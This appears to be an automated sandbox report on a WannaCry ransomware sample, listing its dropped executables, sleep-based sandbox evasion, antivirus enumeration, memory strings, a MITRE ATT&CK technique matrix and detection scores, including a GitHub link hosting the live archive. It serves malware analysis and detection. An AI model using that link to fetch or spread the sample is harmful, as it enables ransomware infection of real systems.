Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libevent_core-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libevent_extra-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7552	Thread sleep count: 87 > 30
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7552	Thread sleep time: -87000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7560	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7564	Thread sleep count: 47 > 30
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7564	Thread sleep time: -141000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7592	Thread sleep count: 55 > 30
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7592	Thread sleep time: -1650000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7568	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7568	Thread sleep time: -1170000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7416	Thread sleep count: 1258 > 30
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7552	Thread sleep count: 2893 > 30
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7552	Thread sleep time: -2893000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7564	Thread sleep count: 3150 > 30
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 7564	Thread sleep time: -9450000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Thread delayed: delay time: 30000

Source: cscript.exe, 00000014.00000002.1425430510.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: taskhsvc.exe, 00000069.00000003.1983778466.0000000004D41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NQlHmIgvMciBuhwdPcSThyF+dlD3aS5b0hF+ClVEa0y8nR24HtbVAgMBAAE=
Source: taskhsvc.exe, 00000069.00000003.1931824765.0000000004D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dvnwTnVMcixijEcyDacoPt8KC0YMEBNYinwYXPRGzsGNOomr4WARAgMBAAE=
Source: taskhsvc.exe, 00000069.00000003.1916186938.0000000004D78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /kLm9EfvtC9L86WDqVYIZpZECaPIUejhmC+DEHKwsVMCIam6wr+LAgMBAAE=
Source: taskhsvc.exe, 00000069.00000003.1889741299.0000000004D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: id ed25519 5uD7nVmCI5DppHHtx2H+7AzbTP39/UvAQinqkc/a/lg
Source: @WanaDecryptor@.exe, 0000004B.00000003.1530506863.0000000000796000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\cscript.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\consent.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	1 Windows Management Instrumentation	12 Scripting	1 DLL Side-Loading	1 DLL Side-Loading	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	1 File Deletion	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	1 Encrypted Channel	Exfiltration Over Bluetooth	1 Inhibit System Recovery
Email Addresses	DNS Server	Domain Accounts	At	1 Browser Extensions	11 Registry Run Keys / Startup Folder	11 Masquerading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Multi-hop Proxy	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	1 Services File Permissions Weakness	1 Modify Registry	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Services File Permissions Weakness	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	2 Proxy	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label	Link
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip	0%	Avira URL Cloud	safe
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip	0%	Virustotal		Browse

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk	100%	Avira	LNK/Runner.VPDJ
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	96%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libeay32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libevent-2-0-5.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libevent_core-2-0-5.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libevent_extra-2-0-5.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libgcc_s_sjlj-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libssp-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\ssleay32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\tor.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\zlib1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	89%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe	87%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry	96%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Desktop\@WanaDecryptor@.exe	96%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Documents\@WanaDecryptor@.exe	96%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Downloads\@WanaDecryptor@.exe	96%	ReversingLabs	Win32.Ransomware.WannaCry

Source	Detection	Scanner	Label	Link
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-5b376145beff.js	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	0%	URL Reputation	safe
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_octicons-react_dist_index_esm_js-	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parse	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_j	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu	0%	URL Reputation	safe
https://github.githubassets.com/favicons/favicon.png	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-	0%	URL Reputation	safe
https://www.githubstatus.com/	0%	URL Reputation	safe
https://github.githubassets.com/assets/codespaces-1a8626dd714a.js	0%	Avira URL Cloud	safe
https://user-images.githubusercontent.com/	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/light_tritanopia-5cb699a7e247.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/react-code-view.959fb0b61e6a1de773e7.module.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/favicons/favicon.svg	0%	URL Reputation	safe
https://github.githubassets.com	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-	0%	URL Reputation	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_js-node_modules_primer_react_lib--23bcad-01764c79fa41.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ee3fc84d7fb0.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_modules_primer_react_lib-esm_Text-7845da-c300384a527b.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c9	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_remote-form_-01f9fa-075cdbe1c5e3.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_modules_primer_react_lib-esm_Text-7845da-c300384a527b.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/light_tritanopia-5cb699a7e247.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/repository-6247ca238fd4.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/react-code-view.959fb0b61e6a1de773e7.module.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/codespaces-1a8626dd714a.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/element-registry-fb4b8d40f206.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c9	0%	Virustotal		Browse
https://github.githubassets.com/assets/chunk-ui_packages_cookie-consent-element_cookie-consent-element_ts-6c210391e8f0.js	0%	Avira URL Cloud	safe
https://user-images.githubusercontent.com/	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-node_modules_primer_react_lib-esm_-4e97c6-949a0431d8c0.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-ch	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/chunk-ui_packages_webauthn-get-element_webauthn-get-element_ts-57f9943adb92.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/dark-a167e256da9c.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-ch	0%	Virustotal		Browse
https://github.githubassets.com/assets/dark-a167e256da9c.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_js-4d087b8e0c8a.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ee3fc84d7fb0.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/repository-6247ca238fd4.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6bc34.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ConfirmationDialog_ConfirmationDialog_js-8ab472e2f924.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_js-4d087b8e0c8a.js	0%	Virustotal		Browse
